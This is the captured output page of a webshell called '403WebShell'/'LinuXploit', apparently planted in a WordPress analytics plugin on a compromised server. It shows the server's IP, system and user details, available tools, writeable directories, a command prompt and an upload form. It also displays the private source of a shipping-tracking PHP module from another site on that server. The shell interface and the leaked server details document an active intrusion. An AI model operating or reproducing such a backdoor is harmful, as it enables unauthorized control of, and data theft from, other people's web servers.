Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/theyoungdesigners_com/modules/track123/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/theyoungdesigners_com/modules/track123/main.php
<?php

namespace modules\track123;

class main extends \moduleMain {

/*
	https://track123-api.readme.io/reference/request

	This API omits to return the following info
	USPS:  Names of Shipping Partners
	USPS:  Delivery location - eg "Delivered, In/At Mailbox"
	UPS:   Estimated delivery window

	USPS:  tracking ids are only valid for 120 days, and may be reused after that.

*/
	
	use \modules\input\traits {
			\modules\input\traits::__construct as __ConstructInput;
		}
	use \modules\output\traits {
			\modules\output\traits::__construct as __ConstructOutput;
		}
	use \modules\database\traits {
			\modules\database\traits::__construct as __ConstructDatabase;
		}

	const USERAGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246';

	private $identifier;

	public function __construct() {
		parent::__construct(__DIR__);
		$this->__ConstructInput();
		$this->__ConstructDatabase();
		$this->__ConstructOutput();
		$this->identifier = 'track123';
	}

	public function Activate() {
		hook_add('freight.track', [$this, '__addtracking']);
	}

	// https://theyoungdesigners.com/~/track123/test
	final function test() {
		header('Content-type: text/plain');
		//$tracking_number = '1ZX6X1320655147140';
		//$tracking_number = '9200190352696500839678';
		//1ZC6H0240325968688
		$tracking_number = '9405511206211329528176';
		$res = $this->addTracking($tracking_number);
		var_dump($res);
		exit;
	}
	
	public function __addtracking($tracking_number) {
		$fp = fopen('/phil/track123', 'a+');
		fwrite($fp, "Registering tracking for {$tracking_number} \n\n");
		fclose($fp);
		$res = $this->addTracking($tracking_number);
		$fp = fopen('/phil/track123', 'a+');
		fwrite($fp, "Result: $res\n\n");
		fclose($fp);
	}
	
	final function webhook() {
		// update database for this tracking number
		$fp = fopen('/phil/track123', 'a+');
		fwrite($fp, json_encode($_POST) . "\n\n");
		fclose($fp);
		
		$model_tracking = $this->LoadModel('tracking_model', 'store');
		$details = $_POST['data'];
		$tracking_number = $details['trackNo'];
		$tracking = $model_tracking->getTracking($tracking_number);
		$tracking->Detail($details);
		$tracking->Update();
		$this->DbErr();

		// update order status based on package status
		$order_id = $tracking->OrderId();
		$tracking->Status('');
		$model_order = $this->LoadModel('order_model', 'store');
		$model_order->OrderId($order_id);
		$model_order->updateOrderStatusFromTracking($tracking);
		
		header('Content-type: text/plain');
		die('1');
	}
	
	// add an entry to the database
	// https://www.track123.com/carriers/ups/api
	private function addTracking($tracking_number) {
		// determine carrier
		$res = hook_execute('tracking.validate', NULL, $tracking_number);
		if (!is_object($res)) return -2;		// not recognized

		$postdata = [
			'trackNo'	=> $res->tracking,
//			'country'	=> 'US',
		];
		
		
		// the default curl useragent cannot be used
		$url = new \CurlObject;
		$url->UserAgent(static::USERAGENT)
			->RequestHeader('Track123-Api-Secret', $this->settings['apikey'])
			->RequestHeader('Accept', 'application/json')
			->Redirect(0);

//		call api to start tracking package

		switch($res->carrier) {
			case 'ups':
				$postdata['courierCode'] = 'ups';
				break;
			case 'usps':
				$postdata['courierCode'] = 'usps';
				break;
			case 'fedex':
				$postdata['courierCode'] = 'fedex';
				break;
		}
		$url->Url('https://api.track123.com/gateway/open-api/tk/v2/track/import')
			->postdataJson([$postdata])
			->Execute();
		$data = $url->Body();
		$json = json_decode($data, TRUE);

		// is it accepted?
		$code = $json['code'] ?? '';
		if ($code != '00000') {
			error_log("Unable to initiate tracking of {$res->tracking} - $data");
			return -10;
		}
		if (count($json['data']['rejected'])) {
			$details = $json['data']['rejected'][0] ?? [];
			if (($details['error']['code'] ?? '') != 'A0400') {			// already registered/imported
				error_log("Track123 rejected {$res->tracking}");
				error_log('api fail: '. json_encode($details));
				return -11;
			}
		}
		
//		call api to get current state
		$postdata = [
			'trackNos' => [
				$res->tracking,
			]
		];
		$url->Url('https://api.track123.com/gateway/open-api/tk/v2/track/query')
			->postdataJson($postdata)
			->Execute();
		$data = $url->Body();
		$json = json_decode($data, TRUE);

		$code = $json['code'] ?? '';
		if ($code != '00000') {
			error_log("Unable to retrieve tracking for {$res->tracking}");
			return -3;
		}

		error_log("tracking number: " . $res->tracking);
		error_log('api result: '. $data);

		$details = $json['data']['accepted']['content'][0] ?? [];
		$model_tracking = $this->LoadModel('tracking_model', 'store');
		$tracking = $model_tracking->getTracking($res->tracking);
		$tracking->Detail($details);
		$tracking->Update();
		$this->DbErr();	
		return 0;
	}
	
	// reprocess the last webhook for the specified tracking number
	// -- update the order status
	final function replay_tracking($trackingnum = '') {
		header('Content-type: text/plain');
		if (empty($trackingnum)) {
			die("\nNo tracking number specified\n");
		}
		$model_tracking = $this->LoadModel('tracking_model', 'store');
		$tracking = $model_tracking->getTracking($trackingnum);
		
		$order_id = $tracking->OrderId();
		$tracking->Status('');
		$model_order = $this->LoadModel('order_model', 'store');
		$model_order->OrderId($order_id);
		$model_order->updateOrderStatusFromTracking($tracking);
		
		$status 	= $tracking->Status();
		$status_id	= $tracking->StatusId();
		echo "$order_id - $status - $status_id\n";
		die("\nDone\n");
	}
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit